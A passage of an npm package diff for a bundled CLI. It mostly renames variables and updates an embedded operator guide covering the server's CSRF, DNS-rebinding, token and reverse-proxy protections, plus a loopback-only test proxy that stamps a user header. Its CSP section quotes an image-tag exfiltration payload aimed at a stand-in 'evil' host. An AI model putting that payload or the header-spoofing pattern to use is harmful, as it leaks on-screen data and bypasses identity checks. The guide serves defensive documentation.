@chosengeneration/light-code 0.9.0 → 0.12.1

package/dist/cli.js

@@ -33841,12 +33841,12 @@ var require_dist = __commonJS({
         throw new Error(`Unknown format "${name}"`);
       return f;
     };
-    function addFormats(ajv, list, fs23, exportName) {
+    function addFormats(ajv, list, fs24, exportName) {
       var _a3;
       var _b;
       (_a3 = (_b = ajv.opts.code).formats) !== null && _a3 !== void 0 ? _a3 : _b.formats = (0, codegen_1._)`require("ajv-formats/dist/formats").${exportName}`;
       for (const f of list)
-        ajv.addFormat(f, fs23[f]);
+        ajv.addFormat(f, fs24[f]);
     }
     module.exports = exports = formatsPlugin;
     Object.defineProperty(exports, "__esModule", { value: true });
@@ -33859,7 +33859,7 @@ var require_windows = __commonJS({
   "../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/windows.js"(exports, module) {
     module.exports = isexe;
     isexe.sync = sync;
-    var fs23 = __require("fs");
+    var fs24 = __require("fs");
     function checkPathExt(path29, options) {
       var pathext = options.pathExt !== void 0 ? options.pathExt : process.env.PATHEXT;
       if (!pathext) {
@@ -33884,12 +33884,12 @@ var require_windows = __commonJS({
       return checkPathExt(path29, options);
     }
     function isexe(path29, options, cb) {
-      fs23.stat(path29, function(er, stat) {
+      fs24.stat(path29, function(er, stat) {
         cb(er, er ? false : checkStat(stat, path29, options));
       });
     }
     function sync(path29, options) {
-      return checkStat(fs23.statSync(path29), path29, options);
+      return checkStat(fs24.statSync(path29), path29, options);
     }
   }
 });
@@ -33899,14 +33899,14 @@ var require_mode = __commonJS({
   "../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/mode.js"(exports, module) {
     module.exports = isexe;
     isexe.sync = sync;
-    var fs23 = __require("fs");
+    var fs24 = __require("fs");
     function isexe(path29, options, cb) {
-      fs23.stat(path29, function(er, stat) {
+      fs24.stat(path29, function(er, stat) {
         cb(er, er ? false : checkStat(stat, options));
       });
     }
     function sync(path29, options) {
-      return checkStat(fs23.statSync(path29), options);
+      return checkStat(fs24.statSync(path29), options);
     }
     function checkStat(stat, options) {
       return stat.isFile() && checkMode(stat, options);
@@ -33930,7 +33930,7 @@ var require_mode = __commonJS({
 // ../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/index.js
 var require_isexe = __commonJS({
   "../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/index.js"(exports, module) {
-    var fs23 = __require("fs");
+    var fs24 = __require("fs");
     var core;
     if (process.platform === "win32" || global.TESTING_WINDOWS) {
       core = require_windows();
@@ -34194,16 +34194,16 @@ var require_shebang_command = __commonJS({
 var require_readShebang = __commonJS({
   "../../node_modules/.pnpm/cross-spawn@7.0.6/node_modules/cross-spawn/lib/util/readShebang.js"(exports, module) {
     "use strict";
-    var fs23 = __require("fs");
+    var fs24 = __require("fs");
     var shebangCommand = require_shebang_command();
     function readShebang(command) {
       const size = 150;
       const buffer = Buffer.alloc(size);
       let fd;
       try {
-        fd = fs23.openSync(command, "r");
-        fs23.readSync(fd, buffer, 0, size, 0);
-        fs23.closeSync(fd);
+        fd = fs24.openSync(command, "r");
+        fs24.readSync(fd, buffer, 0, size, 0);
+        fs24.closeSync(fd);
       } catch (e) {
       }
       return shebangCommand(buffer.toString());
@@ -34457,8 +34457,10 @@ var require_content_type = __commonJS({
 
 // src/cli.ts
 import { spawn as spawn5 } from "node:child_process";
+import fs23 from "node:fs/promises";
+import os2 from "node:os";
 import path28 from "node:path";
-import { fileURLToPath } from "node:url";
+import { fileURLToPath, pathToFileURL } from "node:url";
 
 // ../../node_modules/.pnpm/env-paths@4.0.0/node_modules/env-paths/index.js
 import path from "node:path";
@@ -34710,7 +34712,202 @@ function refusalFor(messageType) {
 }
 
 // src/generated/operatorGuide.ts
-var OPERATOR_GUIDE = '# Running Light Code as a server\r\n\r\nTwo very different deployments share one binary. The first is supported today. The second\r\nis designed for and partly built, but **is not finished, and the gap is not the code \u2014 it is\r\na privilege model.** Read the second half before planning it.\r\n\r\n---\r\n\r\n## 1. Local, single user\r\n\r\nStarts a server on `127.0.0.1` and opens your browser. Same UI as the extension, same\r\nagent, same config format.\r\n\r\n```bash\r\nnpx @chosengeneration/light-code                          # current folder\r\nnpx @chosengeneration/light-code --workspace D:\\src\\repo\r\nnpx @chosengeneration/light-code --port 7100 --no-open\r\n```\r\n\r\nThe bare name `light-code` on npm belongs to an unrelated package, hence the scope. The\r\ninstalled command is still `light-code`.\r\n\r\nFrom a clone instead:\r\n\r\n```bash\r\npnpm install\r\npnpm serve --workspace D:\\src\\my-repo\r\n```\r\n\r\n### Before publishing a version\r\n\r\n```bash\r\npnpm verify:npm\r\nnpm publish --access public   # from apps/host, after npm login\r\n```\r\n\r\n`verify:npm` runs lint, typecheck, tests and the build, then\r\n`scripts/smoke-test-npm.mjs`: it packs the tarball, installs it into an empty directory\r\nwith plain `npm`, and runs it.\r\n\r\nThat last step is not ceremony. A workspace has every dependency hoisted and every sibling\r\npackage linked, so a bundled import or a missing `dependencies` entry stays invisible until\r\nsomebody installs it fresh \u2014 which is exactly how a VSIX that could not activate at all\r\nonce passed build, typecheck, test *and* package.\r\n\r\n### How the session is protected\r\n\r\nLoopback is not a security boundary. Any page you have open can issue requests to\r\n`127.0.0.1`, and while it cannot *read* the reply cross-origin, a request that runs a shell\r\ncommand has already done its damage on the way in. So:\r\n\r\n- **Bound to literal `127.0.0.1`**, never `localhost` \u2014 the name resolves differently per\r\n  machine and can dual-stack onto an interface that is not loopback at all.\r\n- **Two-stage token handoff.** The launch URL carries a single-use token in the *fragment*,\r\n  which browsers never send to a server. The page reads it, exchanges it at `/api/session`\r\n  for a session token, and calls `history.replaceState` to strip it from the address bar.\r\n  The handoff expires in 10 seconds and is consumed on first use, valid or not.\r\n- **Bearer header, never a cookie.** Cookies are attached to requests automatically, which\r\n  is the mechanism CSRF depends on.\r\n- **`Origin` and `Host` are both checked on every request.** Origin catches CSRF. Host\r\n  catches DNS rebinding, where the attacker\'s own domain resolves to 127.0.0.1 so the\r\n  Origin check legitimately passes \u2014 the giveaway is a `Host` this server never bound.\r\n- **Strict CSP** with `connect-src \'self\'` and `img-src \'self\' data:`. Model output renders\r\n  in this page; without those, a reply containing `<img src="https://evil/?d=...">`\r\n  exfiltrates whatever is on screen.\r\n- **No `Access-Control-Allow-Origin`.** Nothing else may read these responses.\r\n\r\nVerified against the running server: a forged Origin is refused with 403, a foreign Host\r\nwith 421, an absent or wrong token with 401, and a handoff token cannot be redeemed twice.\r\n\r\n### Where things are stored\r\n\r\n`--data-dir`, defaulting to the OS application-data directory:\r\n\r\n```\r\n<data>/shared.json                     administrator ids, variables for everyone  (0600)\r\n<data>/users/<hash of principal id>/\r\n    config.json            profiles, MCP servers, approvals   (0600)\r\n    secrets.json           API keys, passwords                (0600)\r\n    variables.json         this user\'s session variables      (0600)\r\n    workspace-state.json   which task was open\r\n    tasks/                 conversation history\r\n    tool-results/          spilled tool output\r\n    checkpoints/           shadow-git snapshots\r\n```\r\n\r\n**Variables are a file of their own, not a key in `config.json`.** The config schema strips keys\r\nit does not recognise, so variables kept there would survive until the first unrelated save and\r\nthen vanish silently. Do not move them back.\r\n\r\nEverything is already per-principal, which is the groundwork for the next section.\r\n\r\n**Secrets are a file, not a keychain, and the UI says so.** The extension gets DPAPI or\r\nKeychain through VS Code\'s `SecretStorage`. The server has no equivalent without a native\r\nmodule, so it uses an owner-only file. Encrypting it would be theatre: the key would sit\r\nbeside it, readable by the same processes.\r\n\r\n---\r\n\r\n## 1b. Shared mode: `--server` \u2014 a usage guide\r\n\r\nOne server, many people, two URLs. Read section 2 before deciding to run it: this locks\r\n*settings*, not *privileges*, and the difference matters.\r\n\r\n### Set it up\r\n\r\n**1. Put a reverse proxy in front.** IIS, nginx or anything that terminates your existing\r\nauthentication \u2014 Kerberos, NTLM, OIDC. The proxy authenticates the user and states the result in\r\na header.\r\n\r\n**2. Make the proxy set the user header, and strip any inbound copy of it.** Stripping is not\r\noptional: without it a user types their own header and becomes whoever they like.\r\n\r\n```nginx\r\nlocation / {\r\n    proxy_set_header X-Forwarded-User        $remote_user;   # replaces, never appends\r\n    proxy_set_header X-Forwarded-Display-Name $remote_user;\r\n    proxy_pass http://127.0.0.1:8080;\r\n}\r\n```\r\n\r\nSend the **immutable directory id** \u2014 an Entra object id, an AD SID \u2014 not a username. A username\r\ngets reassigned to a different human when someone leaves; an object id does not.\r\n\r\n**3. Start the server.**\r\n\r\n```bash\r\nlight-code --server \\\r\n  --workspace /srv/repo \\\r\n  --trust-proxy 10.0.0.5 \\\r\n  --admin-id 8f3c1e22-... \\\r\n  --port 8080\r\n```\r\n\r\nIt prints both URLs:\r\n\r\n```\r\n  users          http://127.0.0.1:8080/\r\n  administrators http://127.0.0.1:8080/admin\r\n```\r\n\r\n**4. Restrict `/admin` at the proxy.** Light Code does not guard that path \u2014 see below.\r\n\r\n### The flags\r\n\r\n| Flag | What it does |\r\n|---|---|\r\n| `--server` | Shared mode. Settings become read-only except for administrators. |\r\n| `--trust-proxy <ip>` | Believe the user header from this address. **Repeatable, and required** \u2014 without it every request is refused. |\r\n| `--user-header <h>` | Which header carries the id. Default `X-Forwarded-User`. |\r\n| `--admin-id <id>` | Seed an administrator. Repeatable. Applied on every start and merged into the stored list. |\r\n| `--admin` | Opens `/admin` rather than `/` when launching a browser. Takes **no value** \u2014 the old `--admin <id>` form is an error pointing at `--admin-id`. |\r\n| `--bind <address>` | Interface to listen on. Leave it at `127.0.0.1` and let the proxy be the only route in. |\r\n\r\n### The header is not the trust boundary \u2014 the address is\r\n\r\nAnything that can reach the port can send `X-Forwarded-User: anyone`. So the header is believed\r\n**only** from an address you named, checked against the socket\'s peer, which a client cannot\r\nchoose.\r\n\r\nThat is why `--server` refuses to start without `--trust-proxy`. A deployment that refuses\r\neveryone is a support call; one that believes everyone is a breach.\r\n\r\nTwo more properties worth knowing:\r\n\r\n- **A repeated header is refused, not resolved.** A proxy that appends rather than replaces is\r\n  exactly how an attacker-supplied value ends up beside the real one, and there is no safe way to\r\n  pick between two answers to "who is this".\r\n- **`::ffff:10.0.0.5` and `10.0.0.5` are treated as the same machine**, because that is what Node\r\n  reports for an IPv4 client on a dual-stack listener. `::1` and `127.0.0.1` are **not**\r\n  interchangeable \u2014 you named one of them and meant it.\r\n\r\n### The two URLs\r\n\r\n`/` is everyone\'s. `/admin` is the administrator\'s interface.\r\n\r\n> **Reaching `/admin` is assumed to be restricted upstream.** Light Code does not re-derive who\r\n> may be there. **Anyone who can reach `/admin` directly is an administrator**, so exposing the\r\n> port without the proxy in front exposes the admin interface with it.\r\n\r\nThe administrator id list is still consulted, and it is the second condition: someone at `/admin`\r\nwho is not on the list is treated as an ordinary user. So a proxy rule that was never written\r\ndegrades to "nobody is an administrator" rather than "everybody is".\r\n\r\nAdministrators can edit the list from the **Variables** tab, so adding a colleague does not need a\r\nrestart. Removing yourself is allowed and logged \u2014 refusing it would mean the last administrator\r\ncan never be replaced \u2014 and `--admin-id` still wins at startup, which is the way back in.\r\n\r\n### What only an administrator can change\r\n\r\n| Administrators | Everyone |\r\n|---|---|\r\n| The **shared** provider set, and the default a new user inherits | **Their own provider profiles, with their own API keys** |\r\n| Importing a whole configuration | Test connection, and exporting their own configuration |\r\n| Network trust: CA, client certificate, verify TLS | Their own session variables |\r\n| MCP servers and per-tool permissions | Mode (Code / Ask / Junior) |\r\n| Enabling Python, the interpreter, the tools folder | Accent and expert colours |\r\n| Search connections, the embedder, indexing | The per-chat expert budget |\r\n| Schedules, including running one by hand | Chatting, editing, running commands |\r\n| Readable folders outside the workspace | Their own task history |\r\n| Auto-approve toggles and the always-allow lists | |\r\n| Session variables that apply to everyone | |\r\n| Approving a queued tool or skill | Submitting one, and seeing their own in the queue |\r\n\r\n### Providers, and bringing your own key\r\n\r\nEveryone can add provider profiles of their own, with their own API keys, and pick which to use.\r\nThat reverses the original blanket rule deliberately. Freezing all of `profiles` treated a second\r\nuser as the same threat as a hostile repository \u2014 but the threat that reasoning is about is one\r\nuser repointing *another\'s* gateway, and a per-user profile cannot do that. Someone bringing their\r\nown key is spending their own money against a host they chose.\r\n\r\nAn administrator can also publish profiles for **everyone**, in `shared.json`:\r\n\r\n```json\r\n{\r\n  "defaultProfileId": "gateway",\r\n  "profiles": [\r\n    {\r\n      "id": "gateway",\r\n      "label": "Corporate gateway",\r\n      "wireFormat": "openai",\r\n      "baseUrl": "https://gateway.internal/v1",\r\n      "model": "gpt-4o",\r\n      "auth": { "type": "apiKey", "apiKeyRef": "profile:gateway:apiKey" }\r\n    }\r\n  ]\r\n}\r\n```\r\n\r\nThey appear in every user\'s list marked **provided**, with no Edit and no Delete \u2014 a user\'s file\r\nnever stores them, so an edit would silently vanish on the next save. **Duplicate** is offered\r\ninstead, which is how someone starts from the organisation\'s gateway and points the copy at their\r\nown key.\r\n\r\n`defaultProfileId` applies to anyone who has not chosen. It never overrides a choice, and it is\r\nignored if it names a profile that no longer exists \u2014 so removing one cannot leave every session\r\npointing at nothing.\r\n\r\nA shared profile\'s API key lives in `<data>/shared-secrets.json` rather than in any one user\'s\r\ndirectory, so it survives a user clearing their own secrets. As everywhere here that is storage,\r\nnot secrecy: every session runs as the same account and can read the file.\r\n\r\nThe rule: anything invariant 5 already treats as user-scope-only becomes admin-only, because a\r\nsecond user on a shared box is the same threat as a hostile repository arriving by another door.\r\nAnything unlisted that looks like a settings change (`save\u2026`, `set\u2026`, `delete\u2026`) defaults to\r\n**restricted** \u2014 forgetting to list something should mean "an administrator has to do it", never\r\n"anyone may repoint the gateway".\r\n\r\nA refused message is answered, not dropped: the UI hides these controls, so one arriving is either\r\na stale page or someone poking the API, and both deserve a reason.\r\n\r\n---\r\n\r\n## 1c. Session variables\r\n\r\nValues handed to everything a session runs \u2014 shell commands and Python tools \u2014 as environment\r\nvariables. Set them in the **Variables** tab.\r\n\r\n> **They are not secret.** Everything a session spawns runs as the server\'s own account, so\r\n> another user can have their assistant read them. This answers *whose value applies*, not *who\r\n> can see it*. API keys belong in **Providers**, which stores them separately and never sends\r\n> them back to a page.\r\n\r\n### Two scopes, and the administrator wins\r\n\r\n- **Yours** \u2014 only your sessions see them. Stored in `<data>/users/<hash>/variables.json`.\r\n- **Everyone\'s** \u2014 set by an administrator, applied to every user. Stored in `<data>/shared.json`.\r\n\r\nWhere both set the same name, **the administrator\'s value is used**. A variable set centrally is\r\nset precisely because it has to be the same everywhere \u2014 an internal package index, a proxy, a\r\ncompliance flag \u2014 and a per-user value quietly winning would defeat the only reason to set one.\r\n\r\nThe one that lost is not hidden. Your row says so:\r\n\r\n> **overridden** \u2014 An administrator set `REGISTRY` for everyone, so sessions use\r\n> `https://pypi.internal/simple` and not yours.\r\n\r\nWithout that you would edit a value that could never apply and see no sign of it.\r\n\r\n### Names\r\n\r\nLetters, digits and underscore, not starting with a digit. Anything else is refused as you type\r\nit, because a name a shell cannot set fails by starting a process with a *silently different*\r\nenvironment rather than by erroring.\r\n\r\n### Where they reach\r\n\r\n`execute_command` and Python tools. The Python worker\'s environment stays an allowlist \u2014 the\r\nreason it exists is that a provider API key must never reach model-authored code \u2014 and these are\r\nadded to it, because they are what a human deliberately declared.\r\n\r\nAn edit applies to the **next command**, not the next session; a Python tool picks one up when its\r\nworker next starts.\r\n\r\n---\r\n\r\n## 1d. The review queue\r\n\r\nA Python tool or a skill written by someone who is **not** an administrator is not saved. It goes\r\ninto a queue, the author\'s turn is told so and carries on, and an administrator reads the source\r\nand approves or rejects it in Settings \u2192 **Review**.\r\n\r\nAsynchronous on purpose. The in-chat approval gate assumes the approver is present, which is true\r\nin a chat and false here: the person who may approve is not the person asking. Blocking the turn\r\nwould hang for hours when nobody is at a screen, and forever for a scheduled run.\r\n\r\n### What "queued" means\r\n\r\nNothing is written anywhere the workspace can see it. The bytes live in `<data>/reviews.json`\r\nuntil someone approves them, and only then are they written to `.lightcode/tools/` or\r\n`.lightcode/skills/`. That is \xA713\'s rule used as it stands \u2014 the *registry* is the security\r\nboundary, and a file with no registry entry never loads \u2014 rather than a second mechanism beside it.\r\n\r\nTwo consequences worth knowing:\r\n\r\n- **A rejected submission leaves nothing behind.** There is no half-written file to clean up.\r\n- **An approval writes the bytes that were read**, not whatever is on disk by then.\r\n\r\n### Reviewing\r\n\r\nThe queue shows the full source as a diff against what is there now, with the author, the time,\r\nand \u2014 when a [programming provider](#1b-shared-mode---server--a-usage-guide) wrote it \u2014 which\r\nmodel produced it. Approve is disabled until the source has been opened. That is not a security\r\ncontrol, since anyone can open it and not read it; it is there because approving code you have not\r\nlooked at is the single mistake this queue exists to make harder, and a button needing no step in\r\nbetween is one people press by reflex.\r\n\r\nA rejection takes a reason, and the author sees it. Authors can see their own submissions, which is\r\nhow the reason reaches them \u2014 a queue only administrators could read would leave someone waiting\r\nwithout knowing what for.\r\n\r\nResubmitting the same name **replaces** the pending item rather than adding another. A model told\r\nits work is queued sometimes tries again, and four near-identical copies of one tool means an\r\nadministrator has to diff them to find the current one.\r\n\r\nAn administrator\'s own tools and skills are unaffected: they get the ordinary in-chat prompt, which\r\nis the same mechanism with the approver already at the screen.\r\n\r\n---\r\n\r\n## 2. Multi-user hosting with SSO \u2014 read this first\r\n\r\nIdentity is built. `ProxyHeaderIdentity` reads the user from your proxy\'s header, every store is\r\nkeyed by `Principal.id`, and section 1b is the setup guide. So the question of *who is asking* is\r\nanswered.\r\n\r\n**That was never the hard part.** The hard part is this:\r\n\r\n> Light Code executes shell commands, reads and writes files, and spawns MCP servers. On a\r\n> hosted deployment, all of that runs as **the account the server process runs as** \u2014 not as\r\n> the person who asked for it.\r\n\r\nSSO tells you *who is asking*. It does not change *what their request can do*. So on a\r\nshared server, with the design as it stands:\r\n\r\n- Every user\'s commands run with the same OS privileges as every other user\'s.\r\n- Any user can instruct the agent to read any file the service account can read \u2014\r\n  including another user\'s `secrets.json` under `<data>/users/`, since file permissions\r\n  separate accounts, and here there is only one account.\r\n- Any user can configure an MCP server, which is an arbitrary executable, and it runs as the\r\n  service account.\r\n- The approval gate protects a user from the *model*. It does not protect users from each\r\n  other, because the person approving is the person asking.\r\n\r\nThis is consistent with what Light Code has always claimed \u2014 \xA73 of `CLAUDE.md` says plainly\r\nthat it does not sandbox executed code and does not protect against another process running\r\nas the same user. On one desktop that is a reasonable line. On a shared server it means\r\n**every user is effectively an administrator of every other user\'s data.**\r\n\r\n### What would actually make it safe\r\n\r\nIn rough order of how much they buy you:\r\n\r\n1. **One OS account per user, or one container per session.** This is the real fix and\r\n   nothing else substitutes for it. The server becomes a supervisor that launches a\r\n   per-user worker under that user\'s identity; the worker holds the bridge. On Windows this\r\n   is a service that impersonates the authenticated principal, or a container per session.\r\n2. **Workspace confinement per principal**, so a user\'s tools are rooted in their own tree\r\n   rather than a shared one.\r\n3. **Deny MCP configuration to ordinary users**, or restrict it to an operator-managed\r\n   allowlist. It is arbitrary code execution by design.\r\n4. **Disable the Claude CLI expert and `execute_command` by policy** unless 1 is done.\r\n\r\nNone of those are built. Until at least (1) is, a hosted deployment is safe only where\r\n**every user is already trusted with everything every other user can reach** \u2014 for\r\ninstance, one small team sharing a service account they all already have.\r\n\r\n### If you deploy it anyway\r\n\r\nBecause "one team who all trust each other" is a real situation. Section 1b is the how; this is\r\nthe shortlist of things not to skip:\r\n\r\n- Put it behind a proxy that terminates authentication, sets the user header, and **strips any\r\n  inbound copy of it**.\r\n- Send the immutable directory identifier as the id, never the username or email \u2014 both get\r\n  reassigned to a different person when someone leaves.\r\n- Bind the server to loopback and let the proxy be the only thing that reaches it.\r\n- **Restrict `/admin` at the proxy.** Light Code does not guard it.\r\n- Terminate TLS at the proxy. The `Host` allowlist needs the proxy\'s public authority added.\r\n- Run the service account with the least privilege that still works, and keep its home\r\n  directory off any share.\r\n- Tell your users plainly that their sessions are not isolated from one another.\r\n';
+var OPERATOR_GUIDE = '# Running Light Code as a server\r\n\r\nTwo very different deployments share one binary. The first is supported today. The second\r\nis designed for and partly built, but **is not finished, and the gap is not the code \u2014 it is\r\na privilege model.** Read the second half before planning it.\r\n\r\n---\r\n\r\n## 1. Local, single user\r\n\r\nStarts a server on `127.0.0.1` and opens your browser. Same UI as the extension, same\r\nagent, same config format.\r\n\r\n```bash\r\nnpx @chosengeneration/light-code                          # current folder\r\nnpx @chosengeneration/light-code --workspace D:\\src\\repo\r\nnpx @chosengeneration/light-code --port 7100 --no-open\r\n```\r\n\r\nThe bare name `light-code` on npm belongs to an unrelated package, hence the scope. The\r\ninstalled command is still `light-code`.\r\n\r\nFrom a clone instead:\r\n\r\n```bash\r\npnpm install\r\npnpm serve --workspace D:\\src\\my-repo\r\n```\r\n\r\n### Before publishing a version\r\n\r\n```bash\r\npnpm verify:npm\r\nnpm publish --access public   # from apps/host, after npm login\r\n```\r\n\r\n`verify:npm` runs lint, typecheck, tests and the build, then\r\n`scripts/smoke-test-npm.mjs`: it packs the tarball, installs it into an empty directory\r\nwith plain `npm`, and runs it.\r\n\r\nThat last step is not ceremony. A workspace has every dependency hoisted and every sibling\r\npackage linked, so a bundled import or a missing `dependencies` entry stays invisible until\r\nsomebody installs it fresh \u2014 which is exactly how a VSIX that could not activate at all\r\nonce passed build, typecheck, test *and* package.\r\n\r\n### How the session is protected\r\n\r\nLoopback is not a security boundary. Any page you have open can issue requests to\r\n`127.0.0.1`, and while it cannot *read* the reply cross-origin, a request that runs a shell\r\ncommand has already done its damage on the way in. So:\r\n\r\n- **Bound to literal `127.0.0.1`**, never `localhost` \u2014 the name resolves differently per\r\n  machine and can dual-stack onto an interface that is not loopback at all.\r\n- **Two-stage token handoff.** The launch URL carries a single-use token in the *fragment*,\r\n  which browsers never send to a server. The page reads it, exchanges it at `/api/session`\r\n  for a session token, and calls `history.replaceState` to strip it from the address bar.\r\n  The handoff expires in 10 seconds and is consumed on first use, valid or not.\r\n- **Bearer header, never a cookie.** Cookies are attached to requests automatically, which\r\n  is the mechanism CSRF depends on.\r\n- **`Origin` and `Host` are both checked on every request.** Origin catches CSRF. Host\r\n  catches DNS rebinding, where the attacker\'s own domain resolves to 127.0.0.1 so the\r\n  Origin check legitimately passes \u2014 the giveaway is a `Host` this server never bound.\r\n- **Strict CSP** with `connect-src \'self\'` and `img-src \'self\' data:`. Model output renders\r\n  in this page; without those, a reply containing `<img src="https://evil/?d=...">`\r\n  exfiltrates whatever is on screen.\r\n- **No `Access-Control-Allow-Origin`.** Nothing else may read these responses.\r\n\r\nVerified against the running server: a forged Origin is refused with 403, a foreign Host\r\nwith 421, an absent or wrong token with 401, and a handoff token cannot be redeemed twice.\r\n\r\n### Where things are stored\r\n\r\n`--data-dir`, defaulting to the OS application-data directory:\r\n\r\n```\r\n<data>/shared.json                     administrator ids, variables for everyone  (0600)\r\n<data>/users/<hash of principal id>/\r\n    config.json            profiles, MCP servers, approvals   (0600)\r\n    secrets.json           API keys, passwords                (0600)\r\n    variables.json         this user\'s session variables      (0600)\r\n    workspace-state.json   which task was open\r\n    tasks/                 conversation history\r\n    tool-results/          spilled tool output\r\n    checkpoints/           shadow-git snapshots\r\n```\r\n\r\n**Variables are a file of their own, not a key in `config.json`.** The config schema strips keys\r\nit does not recognise, so variables kept there would survive until the first unrelated save and\r\nthen vanish silently. Do not move them back.\r\n\r\nEverything is already per-principal, which is the groundwork for the next section.\r\n\r\n**Secrets are a file, not a keychain, and the UI says so.** The extension gets DPAPI or\r\nKeychain through VS Code\'s `SecretStorage`. The server has no equivalent without a native\r\nmodule, so it uses an owner-only file. Encrypting it would be theatre: the key would sit\r\nbeside it, readable by the same processes.\r\n\r\n---\r\n\r\n## 1b. Shared mode: `--server` \u2014 a usage guide\r\n\r\nOne server, many people, two URLs. Read section 2 before deciding to run it: this locks\r\n*settings*, not *privileges*, and the difference matters.\r\n\r\n### Set it up\r\n\r\n**1. Put a reverse proxy in front.** IIS, nginx or anything that terminates your existing\r\nauthentication \u2014 Kerberos, NTLM, OIDC. The proxy authenticates the user and states the result in\r\na header.\r\n\r\n**2. Make the proxy set the user header, and strip any inbound copy of it.** Stripping is not\r\noptional: without it a user types their own header and becomes whoever they like.\r\n\r\n```nginx\r\nlocation / {\r\n    proxy_set_header X-Forwarded-User        $remote_user;   # replaces, never appends\r\n    proxy_set_header X-Forwarded-Display-Name $remote_user;\r\n    proxy_pass http://127.0.0.1:8080;\r\n}\r\n```\r\n\r\nSend the **immutable directory id** \u2014 an Entra object id, an AD SID \u2014 not a username. A username\r\ngets reassigned to a different human when someone leaves; an object id does not.\r\n\r\n**3. Start the server.**\r\n\r\n```bash\r\nlight-code --server \\\r\n  --workspace /srv/repo \\\r\n  --trust-proxy 10.0.0.5 \\\r\n  --admin-id 8f3c1e22-... \\\r\n  --port 8080\r\n```\r\n\r\nIt prints both URLs:\r\n\r\n```\r\n  users          http://127.0.0.1:8080/\r\n  administrators http://127.0.0.1:8080/admin\r\n```\r\n\r\n**4. Restrict `/admin` at the proxy.** Light Code does not guard that path \u2014 see below.\r\n\r\n### Trying it on one machine\r\n\r\nA browser cannot set the user header, so without a proxy in front every request is refused \u2014\r\ncorrectly, and the screen stays empty. `scripts/dev-proxy.mjs` closes that gap for local testing:\r\n\r\n```bash\r\n# terminal 1 \u2014 the server, trusting loopback\r\nlight-code --server --port 8751 --trust-proxy 127.0.0.1 --admin-id alice\r\n\r\n# terminal 2 \u2014 a stand-in proxy that stamps a user on every request\r\nnode scripts/dev-proxy.mjs --port 8080 --to 8751 --user alice --name Alice\r\n```\r\n\r\nThen open <http://127.0.0.1:8080/> as a user and <http://127.0.0.1:8080/admin> as an administrator.\r\nRestart the proxy with `--user bob` to see the same server as someone who is not on the admin list.\r\n\r\n**It authenticates nobody.** It stamps whichever user you name onto every request, which is exactly\r\nwhat a real proxy must never do. It is safe here only because it binds loopback and you started it.\r\nDo not put it in front of anything, and do not copy its shape \u2014 the real config above *strips* an\r\ninbound header rather than trusting one.\r\n\r\n### The flags\r\n\r\n| Flag | What it does |\r\n|---|---|\r\n| `--server` | Shared mode. Settings become read-only except for administrators. |\r\n| `--trust-proxy <ip>` | Believe the user header from this address. **Repeatable, and required** \u2014 without it every request is refused. |\r\n| `--user-header <h>` | Which header carries the id. Default `X-Forwarded-User`. |\r\n| `--admin-id <id>` | Seed an administrator. Repeatable. Applied on every start and merged into the stored list. |\r\n| `--admin` | Opens `/admin` rather than `/` when launching a browser. Takes **no value** \u2014 the old `--admin <id>` form is an error pointing at `--admin-id`. |\r\n| `--bind <address>` | Interface to listen on. Leave it at `127.0.0.1` and let the proxy be the only route in. |\r\n\r\n### The header is not the trust boundary \u2014 the address is\r\n\r\nAnything that can reach the port can send `X-Forwarded-User: anyone`. So the header is believed\r\n**only** from an address you named, checked against the socket\'s peer, which a client cannot\r\nchoose.\r\n\r\nThat is why `--server` refuses to start without `--trust-proxy`. A deployment that refuses\r\neveryone is a support call; one that believes everyone is a breach.\r\n\r\nTwo more properties worth knowing:\r\n\r\n- **A repeated header is refused, not resolved.** A proxy that appends rather than replaces is\r\n  exactly how an attacker-supplied value ends up beside the real one, and there is no safe way to\r\n  pick between two answers to "who is this".\r\n- **`::ffff:10.0.0.5` and `10.0.0.5` are treated as the same machine**, because that is what Node\r\n  reports for an IPv4 client on a dual-stack listener. `::1` and `127.0.0.1` are **not**\r\n  interchangeable \u2014 you named one of them and meant it.\r\n\r\n### The two URLs\r\n\r\n`/` is everyone\'s. `/admin` is the administrator\'s interface.\r\n\r\n> **Reaching `/admin` is assumed to be restricted upstream.** Light Code does not re-derive who\r\n> may be there. **Anyone who can reach `/admin` directly is an administrator**, so exposing the\r\n> port without the proxy in front exposes the admin interface with it.\r\n\r\nThe administrator id list is still consulted, and it is the second condition: someone at `/admin`\r\nwho is not on the list is treated as an ordinary user. So a proxy rule that was never written\r\ndegrades to "nobody is an administrator" rather than "everybody is".\r\n\r\nAdministrators can edit the list from the **Variables** tab, so adding a colleague does not need a\r\nrestart. Removing yourself is allowed and logged \u2014 refusing it would mean the last administrator\r\ncan never be replaced \u2014 and `--admin-id` still wins at startup, which is the way back in.\r\n\r\n### What only an administrator can change\r\n\r\n| Administrators | Everyone |\r\n|---|---|\r\n| The **shared** provider set, and the default a new user inherits | **Their own provider profiles, with their own API keys** |\r\n| Importing a whole configuration | Test connection, and exporting their own configuration |\r\n| Network trust: CA, client certificate, verify TLS | Their own session variables |\r\n| MCP servers and per-tool permissions | Mode (Code / Ask / Junior) |\r\n| Enabling Python, the interpreter, the tools folder | Accent and expert colours |\r\n| Search connections, the embedder, indexing | The per-chat expert budget |\r\n| Schedules, including running one by hand | Chatting, editing, running commands |\r\n| Readable folders outside the workspace | Their own task history |\r\n| Auto-approve toggles and the always-allow lists | |\r\n| Session variables that apply to everyone | |\r\n| Approving a queued tool or skill | Submitting one, and seeing their own in the queue |\r\n\r\n### Providers, and bringing your own key\r\n\r\nEveryone can add provider profiles of their own, with their own API keys, and pick which to use.\r\nThat reverses the original blanket rule deliberately. Freezing all of `profiles` treated a second\r\nuser as the same threat as a hostile repository \u2014 but the threat that reasoning is about is one\r\nuser repointing *another\'s* gateway, and a per-user profile cannot do that. Someone bringing their\r\nown key is spending their own money against a host they chose.\r\n\r\nAn administrator can also publish profiles for **everyone**, in `shared.json`:\r\n\r\n```json\r\n{\r\n  "defaultProfileId": "gateway",\r\n  "profiles": [\r\n    {\r\n      "id": "gateway",\r\n      "label": "Corporate gateway",\r\n      "wireFormat": "openai",\r\n      "baseUrl": "https://gateway.internal/v1",\r\n      "model": "gpt-4o",\r\n      "auth": { "type": "apiKey", "apiKeyRef": "profile:gateway:apiKey" }\r\n    }\r\n  ]\r\n}\r\n```\r\n\r\nThey appear in every user\'s list marked **provided**, with no Edit and no Delete \u2014 a user\'s file\r\nnever stores them, 